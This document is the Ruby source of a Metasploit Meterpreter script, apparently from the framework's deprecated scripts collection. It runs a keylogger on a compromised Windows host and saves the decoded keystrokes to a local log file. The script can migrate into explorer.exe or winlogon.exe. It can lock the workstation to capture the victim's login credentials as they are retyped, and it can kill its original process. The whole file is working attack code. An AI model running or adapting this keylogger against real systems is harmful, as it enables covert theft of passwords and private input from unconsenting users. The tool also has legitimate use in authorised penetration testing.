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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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# Author: Carlos Perez at carlos_perez[at]darkoperator.com
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# Updates by Shellster
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#-------------------------------------------------------------------------------
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session = client
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# Script Options
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@@exec_opts = Rex::Parser::Arguments.new(
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  "-h"  => [ false, "Help menu." ],
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  "-t"  => [ true,  "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
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  "-c"  => [ true,  "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration.  Default is 2." ],
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  "-l"  => [ false, "Lock screen when capturing Winlogon credentials."],
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  "-k" => [ false, "Kill old Process"]
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)
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def usage
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  print_line("Keylogger Recorder Meterpreter Script")
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  print_line("This script will start the Meterpreter Keylogger and save all keys")
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  print_line("in a log file for later analysis. To stop capture hit Ctrl-C")
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  print_line("Usage:" + @@exec_opts.usage)
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  raise Rex::Script::Completed
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end
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#Get Hostname
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host,port = session.session_host, session.session_port
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder')
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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#logfile name
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logfile = logs + ::File::Separator + host + filenameinfo + ".txt"
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#Interval for collecting Keystrokes in seconds
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keytime = 30
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#Type of capture
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captype = 2
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# Function for locking the screen -- Thanks for the idea and API call Mubix
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def lock_screen
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  print_status("Locking Screen...")
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  lock_info = client.railgun.user32.LockWorkStation()
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  if lock_info["GetLastError"] == 0
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    print_status("Screen has been locked")
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  else
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    print_error("Screen lock Failed")
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  end
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end
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#Function to Migrate in to Explorer process to be able to interact with desktop
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def explrmigrate(session,captype,lock,kill)
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  #begin
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  if captype.to_i == 0
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    process2mig = "explorer.exe"
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  elsif captype.to_i == 1
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    if is_uac_enabled?
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      print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
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      raise Rex::Script::Completed
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    end
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    process2mig = "winlogon.exe"
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    if lock
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      lock_screen
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    end
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  else
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    process2mig = "explorer.exe"
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  end
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  # Actual migration
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  mypid = session.sys.process.getpid
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  session.sys.process.get_processes().each do |x|
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    if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
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      print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
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      session.core.migrate(x['pid'].to_i)
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      print_status("Migration Successful!!")
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      if (kill)
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        begin
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          print_status("Killing old process")
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          client.sys.process.kill(mypid)
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          print_status("Old process killed.")
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        rescue
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          print_status("Failed to kill old process.")
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        end
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      end
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    end
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  end
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  return true
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  #	rescue
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  #		print_status("Failed to migrate process!")
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  #		return false
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  #	end
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end
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#Function for starting the keylogger
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def startkeylogger(session)
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  begin
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    #print_status("Grabbing Desktop Keyboard Input...")
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    #session.ui.grab_desktop
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    print_status("Starting the keystroke sniffer...")
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    session.ui.keyscan_start
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    return true
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  rescue
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    print_status("Failed to start Keylogging!")
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    return false
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  end
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end
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def write_keylog_data session, logfile
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  data = session.ui.keyscan_dump
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  outp = ""
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  data.unpack("n*").each do |inp|
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    fl = (inp & 0xff00) >> 8
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    vk = (inp & 0xff)
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    kc = VirtualKeyCodes[vk]
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    f_shift = fl & (1<<1)
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    f_ctrl  = fl & (1<<2)
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    f_alt   = fl & (1<<3)
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    if(kc)
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      name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
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      case name
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      when /^.$/
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        outp << name
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      when /shift|click/i
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      when 'Space'
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        outp << " "
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      else
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        outp << " <#{name}> "
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      end
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    else
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      outp << " <0x%.2x> " % vk
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    end
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  end
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  sleep(2)
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  if(outp.length > 0)
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    file_local_write(logfile,"#{outp}\n")
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  end
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end
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# Function for Collecting Capture
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def keycap(session, keytime, logfile)
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  begin
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    rec = 1
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    #Creating DB for captured keystrokes
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    file_local_write(logfile,"")
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    print_status("Keystrokes being saved in to #{logfile}")
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    #Inserting keystrokes every number of seconds specified
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    print_status("Recording ")
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    while rec == 1
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      #getting and writing Keystrokes
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      write_keylog_data session, logfile
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      sleep(keytime.to_i)
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    end
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  rescue::Exception => e
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    print_status "Saving last few keystrokes"
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    write_keylog_data session, logfile
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    print("\n")
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    print_status("#{e.class} #{e}")
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    print_status("Stopping keystroke sniffer...")
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    session.ui.keyscan_stop
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  end
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end
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# Parsing of Options
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helpcall = 0
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lock = false
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kill = false
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@@exec_opts.parse(args) { |opt, idx, val|
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  case opt
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  when "-t"
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    keytime = val
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  when "-c"
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    captype = val
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  when "-h"
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    usage
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  when "-l"
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    lock = true
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  when "-k"
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    kill = true
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  end
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}
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if client.platform == 'windows'
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  if (captype.to_i == 2)
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    if startkeylogger(session)
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      keycap(session, keytime, logfile)
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    end
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  elsif explrmigrate(session,captype,lock, kill)
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    if startkeylogger(session)
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      keycap(session, keytime, logfile)
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    end
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  end
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else
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  print_error("This version of Meterpreter is not supported with this Script!")
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  raise Rex::Script::Completed
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end
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